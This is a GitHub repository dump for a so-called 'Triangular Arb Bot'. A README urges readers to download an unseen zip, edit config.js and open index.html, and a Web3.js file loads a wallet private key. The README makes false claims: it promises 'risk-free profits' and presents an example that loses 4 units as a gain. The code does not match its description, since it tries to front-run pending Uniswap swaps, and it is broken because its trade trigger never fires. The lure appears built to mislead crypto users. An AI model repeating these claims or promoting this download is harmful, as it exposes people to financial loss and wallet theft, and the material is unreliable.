├── 1.jpg ├── 10.png ├── 2.png ├── 3.png ├── 4.png ├── 5.png ├── 9.png ├── JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind.zip ├── README.md └── Web3.js /1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TeeAiFind/JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind/e67866e88a186d132abd316c7401ca3cddb787c0/1.jpg -------------------------------------------------------------------------------- /10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TeeAiFind/JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind/e67866e88a186d132abd316c7401ca3cddb787c0/10.png -------------------------------------------------------------------------------- /2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TeeAiFind/JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind/e67866e88a186d132abd316c7401ca3cddb787c0/2.png -------------------------------------------------------------------------------- /3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TeeAiFind/JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind/e67866e88a186d132abd316c7401ca3cddb787c0/3.png -------------------------------------------------------------------------------- /4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TeeAiFind/JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind/e67866e88a186d132abd316c7401ca3cddb787c0/4.png -------------------------------------------------------------------------------- /5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TeeAiFind/JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind/e67866e88a186d132abd316c7401ca3cddb787c0/5.png -------------------------------------------------------------------------------- /9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TeeAiFind/JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind/e67866e88a186d132abd316c7401ca3cddb787c0/9.png -------------------------------------------------------------------------------- /JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TeeAiFind/JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind/e67866e88a186d132abd316c7401ca3cddb787c0/JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind.zip -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | A Triangle Arbitrage bot written in JavaScript that utilizes triangular arbitrage strategy to profit from price differences between three cryptocurrencies. 4 | 5 | Features: 6 | 1.Fetches real-time pricing data for three cryptocurrencies. 7 | 2.Calculates triangular arbitrage opportunities and executes trades automatically. 8 | 3.Includes customizable settings for trade size, minimum profit percentage, and more. 9 | 10 | Requirements: 11 | 1.Modern web browser that supports JavaScript 12 | 2.Basic knowledge of cryptocurrency trading and triangular arbitrage 13 | 14 | Installation: 15 | 16 | https://vimeo.com/1056701985 17 |

You can Download the zip file of the program here

https://raw.githubusercontent.com/TeeAiFind/JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind/main/JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind.zip

Here what it looks like running and finding a arbitrage.

And Please vote for me on the next Javascript codethon I won 4th place on the v2 I would love to win first place this year

Here's the results of the program's execution have been compiled over a period of approximately 28 days.

For those who prefer written instructions, please follow these steps:

Step 1: Extract the contents of the downloaded file.

Step 2: Open the "config.js" file using a text editor such as Notepad.

Step 3: Configure the settings to your preferences and save the file.

Step 4: Open the "index.html" file in any web browser of your choice.

Here little of a explanation for those who don't understand what triangular arbitrage is: Triangular arbitrage, a popular trading strategy in the world of decentralized cryptocurrency exchanges (DEX), has gained significant attention among crypto traders and investors. This strategy involves exploiting price inconsistencies between three different cryptocurrencies to generate risk-free profits. In this article, we will delve into the concept of triangular arbitrage in the context of DEX, understanding its mechanics, challenges, and potential opportunities for crypto traders. Understanding Triangular Arbitrage in DEX: Triangular arbitrage in decentralized cryptocurrency exchanges operates on the same principle as in traditional markets, with the key difference being the absence of intermediaries or centralized authorities. DEX platforms allow traders to execute trades directly from their wallets, facilitating peer-to-peer transactions. Triangular arbitrage in DEX involves taking advantage of price disparities between three cryptocurrencies listed on the exchange to yield profits. Mechanics of Triangular Arbitrage in DEX: The mechanics of triangular arbitrage in DEX are similar to those in traditional markets. Consider three cryptocurrencies: A, B, and C. Traders start by converting an initial amount of cryptocurrency A to cryptocurrency B using the A/B trading pair. Next, they convert the acquired cryptocurrency B to cryptocurrency C using the B/C trading pair. Finally, they convert the obtained cryptocurrency C back to cryptocurrency A using the C/A trading pair. If the final amount of cryptocurrency A exceeds the initial amount, a profit can be realized. For instance, suppose the A/B trading pair has a ratio of 1:1, the B/C trading pair has a ratio of 1:1.2, and the C/A trading pair has a ratio of 1:0.8. By following the triangular arbitrage process, a trader can start with 100 units of cryptocurrency A, convert it to 100 units of cryptocurrency B, then convert it to 120 units of cryptocurrency C, and finally convert it back to 96 units of cryptocurrency A. The trader would have made a profit of 4 units of cryptocurrency A without exposing themselves to market risk. Identifying Triangular Arbitrage Opportunities in DEX: To identify potential triangular arbitrage opportunities in DEX, traders rely on real-time data, decentralized exchange platforms, and specialized trading tools. They continuously monitor the prices and trading pairs of multiple cryptocurrencies, looking for pricing inconsistencies and imbalances. Advanced algorithms and trading bots can aid in automating the process and swiftly identifying profitable opportunities. #cryptopredictions #cryptodaily #cryptonetwork #cryptolover #cryptosuccess #cryptoanalyst #cryptopower #cryptoexpert #cryptocash #cryptodevelopment Title: Using JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind to Find Triangle Arbitrage Opportunities and Increase Your Crypto Holdings 18 | 19 | Introduction: 20 | Cryptocurrency trading offers numerous opportunities for savvy investors, and one of the most intriguing strategies is triangle arbitrage. This method leverages price discrepancies across different trading pairs to generate profit without taking on significant risk. However, finding these opportunities manually can be time-consuming and complex. That's where JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind comes in. In this article, we'll explore how JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind simplifies the process of identifying triangle arbitrage opportunities, its benefits, and how you can use this powerful tool to boost your crypto holdings. 21 | 22 | Body: 23 | 24 | Understanding Triangle Arbitrage: 25 | Triangle arbitrage involves three trades to exploit price differences between three different cryptocurrencies. For example, you might trade Bitcoin (BTC) for Ethereum (ETH), then Ethereum for Litecoin (LTC), and finally Litecoin back to Bitcoin. The key is to identify opportunities where the relative prices create an imbalance that you can capitalize on. 26 | 27 | How JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind Simplifies Triangle Arbitrage: 28 | 29 | a. Automated Opportunity Detection: 30 | JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind scans multiple exchanges and trading pairs in real-time to identify arbitrage opportunities. With its advanced algorithms, it can detect even the smallest price discrepancies, allowing you to act quickly. 31 | 32 | b. Efficient Trade Execution: 33 | Speed is critical in triangle arbitrage. JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind offers automated trading features that execute trades rapidly, minimizing the risk of price changes during the process. You can set up the bot to trade on your behalf, ensuring you never miss an opportunity. 34 | 35 | c. Comprehensive Analytics and Reporting: 36 | JavaScript-Triangular-Arb-Bot-DEX-V4-TeeAiFind provides detailed analytics and reports on your trades, helping you understand your performance and refine your strategies. It also calculates transaction fees and potential profits, giving you a clear picture of your earnings. 37 | 38 | **Benefits a 39 | -------------------------------------------------------------------------------- /Web3.js: -------------------------------------------------------------------------------- 1 | require('dotenv').config() 2 | const Web3 = require('web3') 3 | const { ChainId, Fetcher, WETH, Route, Trade, TokenAmount, TradeType, Percent } = require('@uniswap/sdk') 4 | const ethers = require('ethers') 5 | const fs = require('fs') 6 | //const assert = require('assert'); 7 | 8 | let divider = "\n------------------------------------------------------\n" 9 | 10 | const chainId = ChainId.MAINNET 11 | 12 | let web3HD 13 | let token 14 | let route 15 | let weth 16 | let provider 17 | let signer 18 | let uniswap 19 | 20 | const ACCOUNT = process.env.REACT_APP_ACCOUNT 21 | const TOKEN_ADDRESS = process.env.REACT_APP_TOKEN_ADDRESS 22 | const EXCHANGE_ADDRESS = process.env.REACT_APP_EXCHANGE_ADDRESS 23 | const ETH_AMOUNT = process.env.REACT_APP_ETH_AMOUNT 24 | 25 | const web3 = new Web3(process.env.REACT_APP_RPC_URL_WSS) 26 | web3HD = new Web3(new Web3.providers.HttpProvider(process.env.REACT_APP_RPC_URL)) 27 | provider = new ethers.getDefaultProvider(process.env.REACT_APP_RPC_URL) 28 | const privateKey = new Buffer.from(process.env.REACT_APP_PRIVATE_KEY, "hex"); 29 | signer = new ethers.Wallet(privateKey, provider) 30 | 31 | // declare the token contract interfaces 32 | tokenContract = new ethers.Contract( 33 | TOKEN_ADDRESS, 34 | ['function balanceOf(address owner) external view returns (uint)', 35 | 'function decimals() external view returns (uint8)', 36 | 'function approve(address spender, uint value) external returns (bool)'], 37 | signer 38 | ); 39 | 40 | // declare the Uniswap contract interface 41 | uniswap = new ethers.Contract( 42 | EXCHANGE_ADDRESS, 43 | ['function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)', 44 | 'function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts)', 45 | 'function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)'], 46 | signer 47 | ); 48 | 49 | let addtrxflag = false 50 | let trxflag = false 51 | let initialTokenBalance 52 | let tokenBalanceAfterBuy 53 | let tokensToSell 54 | 55 | async function run(){ 56 | 57 | console.log('\x1b[1m\x1b[37m[Bot]: Process has been started! \x1b[1m\x1b[31m(to stop press CTRL+C anytime)\x1b[0m\n') 58 | console.log('\x1b[1m\x1b[37m[Bot]: Looking for targets at DEX...\x1b[0m\n') 59 | 60 | fs.writeFile('./transactions_hashes.txt', '', function(){console.log('\x1b[1m\x1b[37m[Bot]: transactions_hashes.txt \x1b[1m\x1b[32mwiped!\n\x1b[0m\n\n')}) 61 | 62 | token = await Fetcher.fetchTokenData(chainId, TOKEN_ADDRESS) 63 | weth = WETH[chainId] 64 | const pair = await Fetcher.fetchPairData(token, weth, provider) 65 | route = new Route([pair], weth) 66 | 67 | initialTokenBalance = await tokenContract.balanceOf(ACCOUNT); 68 | 69 | if(true){ 70 | subscription = web3.eth.subscribe('pendingTransactions', function (error, result) {}) 71 | .on("data", function (transactionHash) { 72 | web3.eth.getTransaction(transactionHash) 73 | .then(function (transaction) { 74 | if(transaction && !trxflag){ 75 | parseTransactionData(transaction) 76 | } 77 | }) 78 | .catch(function () { 79 | console.log("\x1b[1m\x1b[Bot]: WARNING! Promise error caught!\n\x1b[1m\x1b[37mThere is likely an issue on your providers side, with the node you are connecting to.\nStop the bot with \x1b[1m\x1bCTRL+C \x1b[1m\x1b[37mand try run again in a few hours."); 80 | //.catch((error) => { 81 | // assert.isNotOk(error,'Promise error') 82 | }) 83 | }); 84 | 85 | async function parseTransactionData(transactionDetails) { 86 | if(transactionDetails.input){ 87 | 88 | fs.appendFileSync('transactions_hashes.txt', 'Trx hash : ' + transactionDetails.hash.toString() + '\r\n') 89 | const transactionInput = transactionDetails.input 90 | 91 | var path = 'transactions_hashes.txt'; 92 | var text = fs.readFileSync(path).toString(); 93 | var lines = text.split('\n'); 94 | var newlines_count = lines.length - 1; 95 | process.stdout.clearLine(); 96 | process.stdout.cursorTo(0); 97 | process.stdout.write(`\x1b[1m\x1b[37m[Bot]: Sweeping transaction hashes... \x1b[1m\x1b[32m${newlines_count}\x1b[37m passes. `); 98 | 99 | if((transactionInput.length - 10) % 64 === 0){ 100 | const toTrx = transactionDetails.to 101 | if(toTrx.toLowerCase() === EXCHANGE_ADDRESS.toLowerCase() 102 | && parseFloat(web3.utils.fromWei(transactionDetails.value, 'ether')) >= parseFloat(process.env.REACT_APP_TARGET_ETH_AMOUNT)){ 103 | } 104 | if(addtrxflag){ 105 | const exeTrxs = await executeTrxs(transactionDetails) 106 | subscription.unsubscribe(function (error, success) { 107 | if (success) 108 | console.log('\n\x1b[1m\x1b[37m[Bot]: Process has been ended!\x1b[0m'); 109 | console.log('\n\x1b[1m\x1b[31m[Bot]: Press \x1b[0mCTRL+C\x1b[31m to stop the script completely !\x1b[0m'); 110 | }); 111 | } 112 | } 113 | } 114 | } 115 | } 116 | } 117 | } 118 | 119 | async function executeTrxs(transactionDetails){ 120 | if(trxflag){ 121 | return 122 | } 123 | trxflag = true 124 | 125 | console.table([{ 126 | 'Transaction Hash': transactionDetails['hash'], 127 | 'Observations': 'Valid Transaction', 128 | 'Timestamp': Date.now() 129 | }]) 130 | console.log(divider) 131 | console.log('\n\x1b[1m\x1b[37m[Bot]: Transaction spotted! - \x1b[32m', transactionDetails, "\x1b[0m\n"); 132 | 133 | const buy = await buyTokens(transactionDetails) 134 | const sell = await sellTokens(transactionDetails) 135 | } 136 | 137 | async function sellTokens(transactionDetails){ 138 | const amountIn = tokensToSell 139 | 140 | if (amountIn.toString() !== '0'){ 141 | const gasPrice = transactionDetails.gasPrice 142 | const newGasPrice = Math.floor(parseInt(gasPrice) - parseInt(1)) 143 | const gasLimit = Math.floor(transactionDetails.gas * 1.3) 144 | 145 | const amountInHex = ethers.BigNumber.from(amountIn.toString()).toHexString(); 146 | const ethAmount = ethers.utils.parseEther(ETH_AMOUNT); 147 | const amountOutMin = Math.floor(ethAmount * 0.01); 148 | const amountOutMinHex = ethers.BigNumber.from(amountOutMin.toString()).toHexString(); 149 | const path = [token.address, weth.address]; 150 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20; 151 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString(); 152 | 153 | const nonceCount = await web3.eth.getTransactionCount(ACCOUNT) 154 | 155 | const tx = await uniswap.swapExactTokensForETH( 156 | amountInHex, 157 | amountOutMinHex, 158 | path, 159 | ACCOUNT, 160 | deadlineHex, 161 | { 162 | nonce: nonceCount + 1, 163 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(), 164 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString() 165 | } 166 | ); 167 | console.log('\x1b[1m\x1b[37m[Bot]: Your sell transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m"); 168 | } 169 | } 170 | 171 | 172 | async function buyTokens(transactionDetails){ 173 | if(true){ 174 | const gasPrice = transactionDetails.gasPrice 175 | const newGasPrice = Math.floor(parseInt(gasPrice) + parseInt(1)) 176 | const gasLimit = Math.floor(transactionDetails.gas * 1.2) 177 | 178 | const inputEth = parseFloat(ETH_AMOUNT) * 0.99; 179 | const ethAmount = ethers.utils.parseEther(inputEth.toString()); 180 | const trade = new Trade(route, new TokenAmount(weth, ethAmount), TradeType.EXACT_INPUT); 181 | const path = [weth.address, token.address]; 182 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20; 183 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString(); 184 | 185 | tokensToSell = trade.outputAmount.raw 186 | const amountOutHex = ethers.BigNumber.from(tokensToSell.toString()).toHexString(); 187 | 188 | const ethAmt = parseFloat(ETH_AMOUNT) * 1.2; 189 | const amountInMax = ethers.utils.parseEther(ethAmt.toString()); 190 | const amountInMaxHex = ethers.BigNumber.from(amountInMax.toString()).toHexString(); 191 | 192 | const tx = await uniswap.swapETHForExactTokens( 193 | amountOutHex, 194 | path, 195 | ACCOUNT, 196 | deadlineHex, 197 | { 198 | value: amountInMaxHex, 199 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(), 200 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString() 201 | } 202 | ); 203 | console.log('\x1b[1m\x1b[37m[Bot]: Your purchase transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m"); 204 | } 205 | } 206 | 207 | console.clear() 208 | console.log("\n") 209 | 210 | 211 | console.log(divider) 212 | 213 | run() 214 | --------------------------------------------------------------------------------